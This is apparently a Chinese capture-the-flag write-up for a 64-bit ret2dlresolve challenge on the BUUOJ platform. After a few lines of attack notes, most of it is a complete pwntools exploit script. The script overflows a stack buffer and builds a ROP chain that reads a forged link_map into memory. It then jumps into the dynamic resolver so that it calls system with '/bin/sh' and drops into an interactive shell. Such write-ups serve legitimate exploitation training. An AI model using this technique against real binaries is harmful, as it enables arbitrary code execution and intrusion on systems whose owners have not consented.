题目

题目链接

攻击思路

64 位下 ret2dlresolve 模板题

注意将返回地址覆盖为 plt 内容后可再接返回地址控制程序流程

注意 _dl_runtime_resolve 有点像 srop 会还原寄存器

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
io = process('./pwn_patched')
else:
io = remote('node5.buuoj.cn', 28062)

link_map_base = 0x404800
binsh_addr = link_map_base + 0x28

read_plt = 0x401060
again_addr = 0x401192
plt0_addr = 0x401026
read_got = 0x404020
pop_rdi_ret = 0x40115E
pop_rsi_ret = 0x40116B

def fake_link_map_gen(fake_link_map_base, delta, func_got_addr, mstr):
fake_link_map = b''
fake_link_map += p64(delta, sign = 'signed')
fake_link_map += p64(func_got_addr - 8)
fake_link_map += p64(fake_link_map_base + 24)
fake_link_map += p64(fake_link_map_base - delta)
fake_link_map += p64(7)
fake_link_map += mstr.encode()
fake_link_map = fake_link_map.ljust(0x68, b'\x00')
fake_link_map += p64(fake_link_map_base)
fake_link_map += p64(fake_link_map_base)
fake_link_map = fake_link_map.ljust(0xF8, b'\x00')
fake_link_map += p64(fake_link_map_base + 8)
return fake_link_map

def attack():
payload = b'A' * (0x70 + 8) + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(link_map_base) + p64(read_plt) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(plt0_addr) + p64(link_map_base) + p64(0)
io.send(payload.ljust(0x100, b'\x00'))
payload = fake_link_map_gen(link_map_base, 0x52290 - 0x10dfc0, read_got, '/bin/sh\x00')
io.send(payload.ljust(0x100, b'\x00'))
io.interactive()

attack()